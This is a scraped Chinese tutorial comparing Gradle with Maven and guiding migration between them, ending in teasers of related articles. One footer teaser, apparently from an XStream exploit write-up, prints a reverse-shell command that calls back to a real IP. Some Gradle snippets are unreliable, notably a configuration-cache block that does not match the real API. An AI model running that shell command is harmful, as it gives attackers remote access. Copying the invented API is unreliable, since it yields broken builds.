Gradle 配置教程:與 Maven 對比詳解(含完整遷移指南)

一、基礎對比:Gradle vs Maven

1.1 核心特性對比

維度MavenGradle
配置語言XML (冗長)Groovy/Kotlin DSL (簡潔靈活)
構建速度較慢(全量構建)快2-10倍(增量構建+緩存)
多模塊管理<modules> + <parent>settings.gradle + project()
依賴管理<dependencies>dependencies { ... }
插件系統聲明式編程式(可自定義邏輯)
學習曲線低(XML基礎)中(需Groovy/Kotlin基礎)

1.2 安裝與配置對比

Maven 安裝流程
wget https://dlcdn.apache.org/maven/maven-3/3.9.6/binaries/apache-maven-3.9.6-bin.zip
unzip apache-maven-3.9.6-bin.zip
export MAVEN_HOME=/path/to/apache-maven-3.9.6
export PATH=$MAVEN_HOME/bin:$PATH
mvn -v  # 驗證安裝
Gradle 安裝優勢
wget https://services.gradle.org/distributions/gradle-8.5-bin.zip
unzip gradle-8.5-bin.zip
export GRADLE_HOME=/path/to/gradle-8.5
export PATH=$GRADLE_HOME/bin:$PATH
gradle -v  # 驗證安裝

??Gradle優勢:??

  • 守護進程(Daemon)減少JVM啟動時間
  • 支持Gradle Wrapper(無需全局安裝)
  • Kotlin DSL提供類型安全

1.3 項目結構對比

Maven 標準結構
my-project/
├── pom.xml
└── src/├── main/│   ├── java/│   └── resources/└── test/├── java/└── resources/
Gradle 標準結構
my-project/
├── build.gradle
├── settings.gradle
└── src/├── main/│   ├── java/│   └── resources/└── test/├── java/└── resources/

??關鍵差異:??

  • settings.gradle管理多模塊和項目名稱
  • 構建邏輯在build.gradle而非pom.xml

1.4 構建腳本深度對比

Maven 配置示例
<!-- pom.xml -->
<project><modelVersion>4.0.0</modelVersion><groupId>com.example</groupId><artifactId>my-app</artifactId><version>1.0.0</version><properties><java.version>11</java.version></properties><dependencies><dependency><groupId>org.junit.jupiter</groupId><artifactId>junit-jupiter</artifactId><version>5.9.3</version><scope>test</scope></dependency></dependencies><build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-compiler-plugin</artifactId><version>3.11.0</version><configuration><source>${java.version}</source><target>${java.version}</target></configuration></plugin></plugins></build>
</project>
Gradle 等效配置
// build.gradle (Groovy DSL)
plugins {id 'java'id 'org.jetbrains.kotlin.jvm' version '1.9.22' // 可選Kotlin支持
}group = 'com.example'
version = '1.0.0'repositories {mavenCentral()
}java {toolchain {languageVersion = JavaLanguageVersion.of(11)}
}dependencies {testImplementation 'org.junit.jupiter:junit-jupiter:5.9.3'// Kotlin示例: implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk8"
}tasks.withType(Test) {useJUnitPlatform()
}

1.5 多模塊項目配置

Maven 多模塊配置
<!-- 父pom.xml -->
<modules><module>core</module><module>web</module>
</modules><!-- 子模塊pom.xml -->
<parent><groupId>com.example</groupId><artifactId>parent</artifactId><version>1.0.0</version>
</parent>
Gradle 多模塊配置
// settings.gradle
rootProject.name = 'my-app'
include 'core', 'web'// web/build.gradle
dependencies {implementation project(':core')// 可添加外部依賴implementation 'org.springframework.boot:spring-boot-starter-web:3.1.5'
}

1.6 構建任務對比

任務Maven 命令Gradle 命令
編譯mvn compilegradle classes
運行測試mvn testgradle test
打包mvn packagegradle assemble
安裝到本地mvn installgradle publishToMavenLocal
生成網頁mvn sitegradle javadoc
清理mvn cleangradle clean
依賴分析mvn dependency:treegradle dependencies
運行應用mvn exec:javagradle run

1.7 性能優化對比

優化技術Maven實現Gradle實現
增量構建基于時間戳基于內容哈希
并行構建<maven.compile.parallel>true</maven.compile.parallel>org.gradle.parallel=true (gradle.properties)
構建緩存無內置支持本地+遠程緩存
任務依賴優化手動配置自動分析任務依賴關系
守護進程Gradle Daemon

二、Maven 快速轉 Gradle 遷移指南

2.1 自動轉換工具

gradle init --type pom

??交互式配置:??

Select build script DSL:1: Groovy2: Kotlin
> 2  # 推薦選擇Kotlin DSLGenerate build using new APIs and behavior (some may be incompatible with existing scripts)?
> yes

??生成文件結構:??

.
├── build.gradle.kts       # 主構建腳本
├── settings.gradle.kts    # 項目配置
├── gradlew                # Unix構建腳本
├── gradlew.bat            # Windows構建腳本
└── gradle/                # Gradle包裝器

2.2 手動調整關鍵配置

依賴作用域映射表
Maven 作用域Gradle 配置特殊說明
compileimplementation默認轉換結果
testtestImplementation自動轉換
providedcompileOnly需手動檢查Web容器依賴
runtimeruntimeOnly需確認是否真的需要
system? 不支持建議改用文件依賴或Maven倉庫

??修正示例:??

dependencies {// 修正Servlet API依賴compileOnly("javax.servlet:javax.servlet-api:4.0.1")// 文件依賴示例implementation(files("lib/custom-lib.jar"))
}

2.3 插件轉換對照表

Maven 插件Gradle 等效配置
maven-compiler-plugin內置Java插件,配置java.toolchain
spring-boot-maven-plugin添加org.springframework.boot插件
maven-surefire-plugin內置測試支持
maven-jar-plugin使用jar任務配置
maven-assembly-plugin使用DistributionPlugin

??Spring Boot項目配置:??

plugins {id("org.springframework.boot") version "3.1.5"id("io.spring.dependency-management") version "1.1.3"
}tasks.named<BootJar>("bootJar") {archiveBaseName = "my-app"archiveVersion = "1.0.0"
}

2.4 多模塊項目配置

??根項目配置 (settings.gradle.kts):??

rootProject.name = "parent.project"
include("module-core","module-web","module-service:submodule-a",  // 支持嵌套模塊"module-service:submodule-b"
)

??子模塊依賴配置:??

// module-web/build.gradle.kts
dependencies {implementation(project(":core"))implementation("com.google.guava:guava:32.1.3-jre")
}

三、性能優化方案

3.1 構建加速配置

// 啟用配置緩存(Gradle 8.0+)
tasks.withType<ConfigurationCache> {mode = ConfigurationCache.Mode.REMOTE
}// 分布式緩存配置
buildCache {remote<HttpBuildCache> {url = uri("https://cache.internal")credentials {username = "cache-user"password = "secret"}}
}

3.2 常見問題解決方案

問題類型解決方案
依賴沖突configurations.all { resolutionStrategy.force("com.google.guava:guava:32.1.3-jre") }
構建速度慢啟用 --parallel + 配置 org.gradle.workers.max=8
測試失敗緩存test { outputs.upToDateWhen { false } }
資源處理異常添加 processResources { duplicatesStrategy = DuplicatesStrategy.INCLUDE }

四、驗證與調試

4.1 構建驗證流程

# 清潔構建
./gradlew clean build# 測試驗證
./gradlew test --info       # 顯示測試日志
./gradlew test --continue   # 繼續執行失敗后的測試# 產物檢查
unzip -l build/libs/my-app.jar  # 檢查JAR內容
jar tf build/libs/my-app.war    # 檢查WAR內容

4.2 依賴分析工具

# 生成依賴樹
./gradlew :module-name:dependencies > deps.txt# 可視化依賴報告
./gradlew htmlDependencyReport  # 生成HTML報告# 依賴沖突檢測
./gradlew dependencyInsight --dependency guava --configuration runtimeClasspath

4.3 構建掃描分析

./gradlew build --scan

??關鍵指標檢查:??

  • 任務執行時間分布
  • 依賴下載時間
  • 緩存命中率
  • 配置時間占比

五、遷移后優化建議

5.1 構建腳本重構

// settings.gradle.kts
dependencyResolutionManagement {repositories {mavenCentral()google()maven { url = uri("https://plugins.gradle.org/m2/") }}
}

5.2 CI/CD 集成示例

# .github/workflows/build.yml
jobs:build:runs-on: ubuntu-lateststeps:- uses: actions/checkout@v4- name: Setup JDKuses: actions/setup-java@v3with:java-version: '17'- name: Gradle Buildrun: ./gradlew build --scanenv:GRADLE_OPTS: "-Dorg.gradle.caching=true"

5.3 監控儀表盤配置

./gradlew build --scan --metrics
# 生成包含以下指標的報告:
# - 任務執行時間分布
# - 依賴下載耗時
# - 內存使用峰值
# - 配置時間占比

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/95221.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/95221.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/95221.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

pcl 按比例去除點云的噪點

之前halcon3d中是這么做的&#xff1b;1&#xff0c;先查找點云中每個點最近第15個最近點的距離2&#xff0c;將距離進行排序3&#xff0c;求排序后在距離數組70%位置的距離 d4&#xff0c;篩選點云中每個點半徑為d&#xff0c;近鄰點的數量大于14的點用pcl實現的代碼如下&…

站在Vue的角度,對比鴻蒙開發中的遞歸渲染

第三類 引用數據的操作 引用數據類型 又叫復雜數類型&#xff0c; 典型的代表是對象和數組&#xff0c;而數組和對象往往又嵌套到到一起 普通數組和對象的使用 vue中使用for循環遍歷 <template><div>我是關于頁面<div v-for"item in arr">{{ i…

VBS 流程控制

一. if else 和 selec case 1. if end if Dim a a2If a0 ThenMsgBox "這里是0"End if 2. if else end if Dim a a2If a0 ThenMsgBox "這里是0"Else MsgBox "這里是2" 彈窗“這里是2”End if 3. if -----elseif-------else-------end…

HCIP項目之OSPF綜合實驗

一、項目背景隨著企業分支機構地理分散化&#xff0c;跨地域網絡互聯需求激增。MGRE&#xff08;多點 GRE&#xff09;技術因適應動態拓撲、降低鏈路成本&#xff0c;成為多分支互聯的常用方案&#xff1b;OSPF 作為鏈路狀態路由協議&#xff0c;適用于大型網絡且支持可變長子網…

class and enmu class

傳統枚舉與作用域污染及enum class的詳細介紹在編程中&#xff0c;枚舉&#xff08;enum&#xff09;是一種常見的特性&#xff0c;用于定義一組命名的常量。傳統枚舉&#xff08;如C中的enum&#xff09;雖然簡單易用&#xff0c;但容易導致作用域污染問題。而enum class&…

Numpy科學計算與數據分析:Numpy數組屬性入門之形狀、維度與大小

Numpy數組屬性探索 學習目標 通過本課程的學習&#xff0c;學員將掌握Numpy數組的基本屬性&#xff0c;如形狀&#xff08;shape&#xff09;、維度&#xff08;ndim&#xff09;和大小&#xff08;size&#xff09;&#xff0c;并能夠通過實際操作加深對這些屬性的理解。 相…

IF 33.3+ 通過多區域單細胞測序解析肺腺癌的空間和細胞結構

通過多區域單細胞測序解析肺腺癌的空間和細胞結構摘要對于肺腺癌演進過程中單個細胞群的地理空間架構知之甚少。在此&#xff0c;我們對來自5例早期LUAD和14個來自腫瘤的具有明確空間鄰近性的多區域正常肺組織的186&#xff0c;916個細胞進行了單細胞RNA測序。我們發現細胞譜系…

【Redis的安裝與配置】

一&#xff1a;下載 Redis ? 百度網盤分享 &#x1f449; https://pan.baidu.com/s/1xkrLlyUPyM0btCFFpGEhcw?pwdSVIP ? 從Github下載 &#x1f449; https://github.com/MicrosoftArchive/redis/releases 二&#xff1a;安裝 Redis 1?? 將下載的壓縮包文件 解壓到 某個文…

TDSQL GTS文件說明

基于時間點恢復&#xff1a;全備xlogGTS文件 在TDSQL的備份恢復體系中&#xff0c;GTS文件是全局時間戳&#xff08;Global Timestamp&#xff09;的存儲載體&#xff0c;用于記錄事務在分布式環境中的精確執行順序和時間點 其核心作用體現在以下方面&#xff1a; 1?。時間基準…

全星APQP數字化平臺在汽車零部件行業的深度應用與效益分析

全星APQP數字化平臺在汽車零部件行業的深度應用與效益分析 全星研發項目管理APQP軟件系統是專為汽車零部件行業打造的數字化研發管理平臺&#xff0c;通過深度集成行業核心工具鏈&#xff0c;實現從產品設計到量產的全程可控。以下為該系統在汽車零部件行業的應用解析&#xf…

網絡通信安全:HTTPS協議的密碼學基石

引言&#xff1a;從HTTP到HTTPS的安全升級 在網絡通信中&#xff0c;數據傳輸的安全性至關重要。早期的HTTP協議采用明文傳輸&#xff0c;存在三大安全隱患&#xff1a; 機密性問題&#xff1a;數據在傳輸過程中可能被竊聽&#xff08;如公共Wi-Fi中的監聽&#xff09;&#xf…

pip 和 conda,到底用哪個安裝?

為什么 pip 有時裝不下來而 --prefer-binary 可以&#xff1f;什么是源代碼發行版&#xff1f;什么是輪子&#xff1f;conda 和 pip 有什么區別&#xff1f;優先用誰啊&#xff1f;兩者適合的場景&#xff08;何時用哪個&#xff09;安裝路徑&#xff1a;pip / conda 分別裝到哪…

bert學習

首先了解一下幾種embedding。比如elmo就是一個embedding模型。one-hot編碼只能實現one word one embedding&#xff0c;而我們的elmo能實現one token one embeddingElmo是基于雙向LSTM&#xff0c;所以每個詞其實會有正向和反向兩個預測結果&#xff0c;那么我們用哪個呢&#…

Java安全-組件安全

一、Xstream啟動環境并訪問接下來我們構造反彈shell語句&#xff0c;bash -i >& /dev/tcp/8.152.2.86/9999 0>&1&#xff0c;緊接著對其進行base64編碼。接下來使用命令即可首先開啟監聽接下來執行命令接下來抓包對其進行payload構造即可緊接著回去查看回顯發現成…

【10】微網優聯——微網優聯 嵌入式技術一面,校招,面試問答記錄

微網優聯——微網優聯 嵌入式技術一面&#xff0c;校招&#xff0c;問答記錄 1. 2 分鐘簡單自自我介紹2. 問一遍筆試題目3. IP地址在哪個層4.手動配置過IP地址嗎?要配哪幾個&#xff1f;5. ARP 是域名找IP地址還是IP地址找域名?6. Linux、計算機網絡、操作系統掌握的怎么樣&a…

C#使用EPPlus讀寫Excel

依賴EPPlus 獲取依賴可以閱讀:Nuget For Unity插件介紹_nugetforunity-CSDN博客 可以參閱該篇快速入門:在Unity中使用Epplus寫Excel_unity epplus-CSDN博客 下面是我封裝的幾個方法: 要在合適的時機配置許可證,比如你的工具類的靜態函數.建議使用版本7.7.1 #region Excel封裝,…

高性能Web服務器

一、Web服務基礎介紹 1.1、互聯網發展歷程 1993年3月2日&#xff0c;中國科學院高能物理研究所租用AT&T公司的國際衛星信道建立的接入美國SLAC國家實驗室的64K專線正式開通&#xff0c;成為我國連入Internet的第一根專線。 1995年馬云開始創業并推出了一個web網站中國黃…

《算法導論》第 16 章 - 貪心算法

大家好&#xff01;今天我們來深入探討《算法導論》第 16 章的核心內容 —— 貪心算法。貪心算法是一種在每一步選擇中都采取在當前狀態下最好或最優&#xff08;即最有利&#xff09;的選擇&#xff0c;從而希望導致結果是全局最好或最優的算法。它在許多優化問題中都有廣泛應…

Redis面試精講 Day 18:Redis網絡優化與連接管理

【Redis面試精講 Day 18】Redis網絡優化與連接管理 開篇 歡迎來到"Redis面試精講"系列第18天&#xff0c;今天我們將深入探討Redis網絡優化與連接管理技術。在分布式系統中&#xff0c;Redis的網絡性能和連接管理直接影響整個系統的響應速度和穩定性。掌握這些優化…

Centos8系統在安裝Git包時,報錯:“沒有任何匹配: git”

報錯類型&#xff1a; sudo dnf install git Repository AppStream is listed more than once in the configuration Repository BaseOS is listed more than once in the configuration Repository extras is listed more than once in the configuration Repository fasttrac…